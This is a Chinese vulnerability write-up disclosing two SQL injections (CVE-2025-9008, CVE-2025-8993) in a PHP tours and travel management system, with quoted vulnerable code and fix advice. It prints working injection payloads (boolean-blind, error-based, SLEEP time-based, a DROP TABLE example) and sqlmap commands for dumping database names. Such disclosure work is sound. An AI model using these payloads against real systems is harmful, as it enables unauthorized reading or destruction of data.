在線旅游及旅行管理系統項目SQL注入

1.前言

之前在網上隨便逛逛的時候,發現一個有各種各樣的PHP項目的管理系統,隨便點進一個查看,發現還把mysql版本都寫出來了,而且還是PHP語言。

https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/

那這可能存在sql注入漏洞,所以代碼審計了一下,并上報了CVE,現在編號下來了 CVE-2025-9008,CVE-2025-8993,于是公開發現過程。

2.漏洞詳情

1.1 CVE-2025-9008

下載其源代碼之后,對“在線旅游及差旅管理系統”進行安全審查期間,發現“/admin/sms_setting.php””文件中存在一個高危SQL注入漏洞。

$sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',password='".$_POST['password']."',sender_id='".$_POST['sender_id']."'WHERE id='1'";

這段sql代碼一眼望過去就是,直接將用戶通過 $_POST超全局數組提交的數據,未經任何過濾和轉義,就拼接到了 SQL 查詢字符串中,那這肯定就存在sql注入漏洞。

因為sql 注入的核心在于“混淆了代碼和數據”,用戶的輸入本應被視為普通數據,但由于直接拼接,攻擊者可以精心構造輸入,讓其成為 sql代碼的一部分,從而篡改原SQL語句的意圖。

比如說在密碼 password 輸入框中,攻擊者輸入了:' OR '1'='1

那么,最終拼接出來的 SQL 語句會變成:

UPDATE sms_setting SETuname='hacker',password='' OR '1'='1',sender_id='fake_sender'
WHERE id='1'

這條語句的含義被徹底改變了。password字段的賦值不再是一個簡單的字符串,而是變成了一個邏輯判斷 '' OR '1'='1'。這個判斷的結果是 永遠為真。

更高級的攻擊者甚至可以輸入類似 '; DROP TABLE users; --的內容,從而執行任意sql命令,比如說刪除數據庫表,導出數據庫數據之類的操作。

payload

---
Parameter: uname (POST)Type: boolean-based blindTitle: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clausePayload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=Type: error-basedTitle: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update=
---

我們也可以使用一些工具來進行查看,比如說sqlmap。

sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs

通過 HTTP POST 請求 提交的、名為 uname的表單字段,選擇了布爾盲注的攻擊類型。

布爾盲注這是一種高級注入技術,用于當網站不會直接顯示數據庫錯誤信息,并且查詢結果也不會直接返回到頁面上的情況。攻擊者通過向數據庫發送一個“問題”,然后根據頁面返回的細微差異,一般來說都是通過觀察頁面是否可以正常加載來判斷。

幫助網安學習,全套資料S信領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)

而圖中的payload

uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ

111111111111:這是一個隨機的無效用戶名,目的是讓原查詢的uname匹配不到結果。

RLIKE: 這是MySQL的正則表達式匹配操作符,一般用它來觸發一個條件判斷。

(CASE WHEN (2321=2321) THEN … ELSE … END): 這是一個SQL的CASE條件語句。這里它判斷一個永恒成立的條件 2321=2321

如果條件為 True,那么整個RLIKE語句會匹配用戶名111111111111,頁面可能會返回一個找不到用戶名存在的狀態。

如果條件為 False,比如說什么1=2之類的常見語句,那么CASE語句會返回一個錯誤的結果,導致RLIKE匹配失敗,頁面可能會返回一個完全空白的狀態。

把2321=2321換成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),觀察頁面的反應,盲猜出數據庫名稱出來。

所以明確了這里存在sql注入漏洞。

1.2 CVE-2025-8993

接著,在“/admin/expense_report.php”文件中又發現了一個嚴重的SQL注入漏洞。該漏洞源于對“from_date”參數的用戶輸入驗證不足,使得攻擊者能夠注入惡意SQL查詢。因此,攻擊者可以未經授權訪問數據庫,修改或刪除數據,并獲取敏感信息。

這段代碼的核心邏輯其實就是,首先檢查用戶是否點擊了提交按鈕if (isset($_POST['submit'])),然后就去獲取用戶表單中輸入的起始日期$from_date和結束日期$to_date,連接數據庫之后用一條 sql 語句,查詢 expense表中所有在用戶指定日期范圍內創建的記錄。

而且還用了PDO,PDO最重要的就是預處理語句,從根本上防御sql注入,但是又沒使用好。

它將 sql 語句的結構 和 數據 分開發送給數據庫服務器處理。

比如說先把一個帶“占位符”的 sql 模板發送給數據庫,數據庫會解析并編譯這個模板,確定它的結構。

$stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?");

然后當執行階段的時候,再把真實的數據,比如說什么用戶輸入的用戶名和密碼,發送給數據庫,數據庫只會把這些數據當正常數據值使用,不會把它當成 SQL 代碼來解析。

這樣就避免了,即使用戶輸入了惡意的數據比如說什么常見的 ' OR '1'='1,它也只會被當作一個普通的字符串字面值去進行匹配,而不會改變原sql語句的邏輯。從而徹底杜絕了 SQL 注入。

但是這條sql語句雖然也使用了PDO,但是它把用戶要輸入的from_date的值給它拼接到sql字符串了,代碼和字符串直接拼接,完全繞過了PDO的安全保護,讓PDO形同虛設。

$stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' ");

$_POST['from_date']$_POST['to_date'] 沒有任何過濾/轉義,直接拼接到了 SQL 中。

攻擊者只要在表單輸入里構造惡意 payload,就能注入 sql。

雖然用了 PDO,但沒有真正用到參數化查詢。

$conn->prepare(...) 本身可以防止注入,但是這里不知道怎么回事,開發者依然把變量拼接到了 sql 里,相當于沒起作用。

所以漏洞源于“from_date”參數的用戶輸入驗證不足,導致攻擊者能夠注入惡意sql查詢。

payload

---
Parameter: from_date (POST)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit=
---

用sqlmap進行檢測

sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs

sqlmap 識別到 POST 參數 from_date 存在注入漏洞。

測試了多種方式,包括 基于報錯注入 和 基于時間的盲注 ,都確認有效。

所謂的錯誤型注入,簡單點說就是通過故意觸發數據庫錯誤,從而讓數據庫在報錯信息中直接返回查詢結果。

還有時間盲注 ,字面意思也就是通過讓數據庫執行延時函數,比如說什么 SLEEP(5),然后根據頁面響應時間來判斷注入的sql是否有效。

from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&...

如果注入成功,數據庫將會執行 SLEEP(5)命令,導致頁面響應時間延遲5秒。sqlmap就會根據這個延遲就能判斷出漏洞存在。

而且sqlmap 成功獲取了數據庫名:information_schema,這是系統庫,每個cms都會有的。

tour1,這個才是該cms特有的數據庫名稱。

所以明確了POST參數的from_date存在注入漏洞。

3.建議修復

  1. 使用準備好的語句和參數綁定:
    準備好的語句可以防止 SQL 注入,因為它們將 SQL 代碼與用戶輸入數據分離。使用準備好的語句時,用戶輸入的值將被視為純數據,不會被解釋為 SQL 代碼。
  2. 輸入驗證和過濾:
    嚴格驗證和過濾用戶輸入數據,確保其符合預期的格式。
  3. 最小化數據庫用戶權限:
    確保用于連接數據庫的賬戶具有必要的最低權限。避免使用具有高級權限的賬戶,比如“root”或“admin”進行日常操作。
  4. 定期安全審計:
    定期進行代碼和系統安全審計,及時發現并修復潛在的安全漏洞。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/94874.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/94874.shtml
英文地址,請注明出處:http://en.pswp.cn/web/94874.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java網絡編程(UDP, TCP, HTTP)

1. OSI 七層網絡模型層級名稱核心功能協議示例數據單元7應用層提供用戶接口和網絡服務HTTP, FTP, SMTP, DNS報文6表示層數據格式轉換、加密/解密、壓縮/解壓SSL, JPEG, MPEG數據流5會話層建立、管理和終止會話連接NetBIOS, RPC會話數據4傳輸層端到端可靠傳輸、流量控制、差錯校…

【P2P】P2P主要技術及RELAY服務1:python實現

P2P 技術 P2P(點對點)網絡的核心是去中心化的網絡拓撲和通信協議。DP的應用相對較少,但可能出現在: 路由優化:在一些復雜的P2P網絡中,一個節點需要向另一個節點發送消息。為了找到一條延遲最低或跳數最少的路徑,可能會用到類似最短路徑的算法,而這類算法(如Bellman-F…

docker 安裝 redis 并設置 volumes 并修改 修改密碼(一)

在 Docker 中安裝 Redis 并設置volumes持久化數據,同時修改 Redis 密碼的完整步驟如下: 安裝 Docker 如果還沒有安裝 Docker,可以參考以下步驟安裝: 在 Alibaba Cloud Linux 上安裝 Docker # 更新系統 sudo yum update -y# 安裝 Docker 依賴 sudo yum install -y yum-util…

如何找出所有連接到本機指定端口的客戶端 IP

在日常運維或排查網絡問題時,我們常常需要知道:有哪些客戶端正在連接我的服務?連接數是否異常?是否存在惡意掃描或 DDoS 行為?本文將教你使用一條簡潔高效的 Linux 命令組合,統計連接到本機某個端口&#x…

java IDE安裝idea社區版步驟

IntelliJ IDEA 社區版(Community Edition)是一款功能強大且完全免費的集成開發環境,非常適合 Java 和 Kotlin 初學者或進行基礎開發2。我會為你提供詳細的安裝步驟。 🛠 IntelliJ IDEA 社區版安裝指南 📋 系統要求與…

Agent智能體

什么是 Agent? Agent 是一個智能體,可以接收用戶請求,利用大模型(LLM)的推理能力,自動決定: 自己回答還是調用外部工具(數據庫、API、腳本等) 最終把結果返回給用戶。 能…

【VSCode】使用VSCode打開md文件以及轉化為PDF

【VSCode】使用VSCode打開md文件以及轉化為PDF在 Visual Studio Code (VS Code) 中渲染 Markdown 并保存為 PDF,可以通過以下步驟實現。 首先安裝好 VSCode,可以參考下述鏈接 https://blog.csdn.net/weixin_43848614/article/details/148042035 安裝m…

蘋果ImageIO零日漏洞分析:攻擊背景與iOS零點擊漏洞歷史對比

蘋果公司已緊急發布全生態系統安全更新,修復編號為CVE-2025-43300的ImageIO框架高危零日漏洞(zero-day),該漏洞已被用于復雜的定向攻擊。這是蘋果在2025年修復的第七個零日漏洞,凸顯iOS和macOS設備面臨的威脅持續升級。…

面試 TOP101 遞歸/回溯專題題解匯總Java版(BM55 —— BM61)

8月刷題挑戰,多重好禮等你拿 遞歸/回溯 題號題目名稱核心思路時間復雜度空間復雜度代碼亮點牛客原題鏈接BM55沒有重復項數字的全排列使用回溯法生成所有排列O(n!)O(n)使用回溯法生成所有排列,邏輯清晰🔗 直達BM56有重復項數字的全排列使用回…

音頻相關數學知識

時域(Time domain)是描述數學函數或物理信號對時間的關系,如果聲音對應頻率正負波動,對應事件x軸為時間,y軸為振幅頻域信號在頻率方面特性,如射頻范圍正弦型函數可以用來虛擬音頻,正弦&#xff…

SAP-ABAP:SAP HANA 架構解析:主從(Scale-Out)與主備(High Availability)架構深度對比

SAP HANA 架構解析:主從(Scale-Out)與主備(High Availability)架構深度對比 一、架構概述 在SAP HANA數據庫系統中,兩種核心架構模式解決了不同的業務需求:主從架構(Scale-Out&#…

【Hadoop】HDFS 分布式存儲系統

Namenode是整個HDFS文件系統的前端,只有一個,管理數據塊映射信息,配置副本策略,處理客戶端的讀寫請求。Secondary namenode是namenode的熱備,當active namenode出現故障時,快速切換為新的active namenode。…

[特殊字符] 如何在自己的倉庫開發,同時保持同步原作者更新(超詳細教程)

在開源協作開發中,很多時候我們會遇到這樣一種情況: 👉 我們想基于一個開源項目繼續開發,代碼要推送到自己的倉庫里; 👉 但原作者可能還會更新,我們也希望能隨時把最新的改動同步過來。 本文以 …

Spring Ai (Function Calling / Tool Calling) 工具調用

1.工具調用介紹 工具調用是現代大語言模型(LLM)的一項重要能力,允許模型在生成回復時“決定”是否需要調用某個外部函數來獲取信息或執行操作。例如: 聯網搜索 (實現查詢到大模型未學習和RAG知識庫中不存在的數據&am…

LabVIEW 正弦波噪聲濾波

利用 LabVIEW 搭建程序,先合成含噪正弦波(正弦信號與高通濾波后的噪聲疊加),再通過低通濾波提取純凈正弦波,實現噪聲去除,常用于信號處理、測試測量場景,驗證濾波算法對正弦信號的降噪效果。?功…

基于django的梧桐山水智慧旅游平臺設計與開發(代碼+數據庫+LW)

摘要 隨著信息技術的飛速發展,旅游行業面臨著用戶需求多樣化、信息獲取不便、服務體驗不佳等問題。傳統的旅游服務多依賴人工管理和線下宣傳,難以高效整合資源與提供個性化服務。為解決這些問題,本文設計開發一個基于Django的梧桐山水智慧旅…

微服務相關面試題

寫在前面 🔥我把后端Java面試題做了一個匯總,有興趣大家可以看看!這里👉 ??在反復復習面試題時,我發現不同資料的解釋五花八門,容易造成概念混淆。尤其是很多總結性的文章和視頻,要么冗長難…

循環神經網絡——pytorch實現循環神經網絡(RNN、GRU、LSTM)

循環神經網絡——pytorch實現循環神經網絡(RNN、GRU、LSTM) 本文將深入探討循環神經網絡的理論基礎,并通過PyTorch深度學習框架來展示如何實現循環神經網絡模型。我們將首先介紹循環神經網絡的基本概念。通過PyTorch代碼示例,我們…

系統架構設計師備考第8天——嵌入式系統

一、嵌入式系統概述定義 為特定應用構建的專用計算機系統,軟硬件緊密結合,滿足功能、可靠性、成本、體積、功耗等嚴格要求。核心特征:專用性強、技術融合(計算機通信半導體技術)、軟硬一體以軟件為主、資源受限、程序固…

HarmonyOS 中的 sharedTransition:實現流暢的頁面過渡動畫

HarmonyOS 中的 sharedTransition:實現流暢的頁面過渡動畫 在移動應用開發中,頁面之間的過渡動畫是提升用戶體驗的關鍵因素之一。HarmonyOS 提供了 sharedTransition 功能,讓開發者能夠輕松實現元素在不同頁面間的平滑過渡效果,創…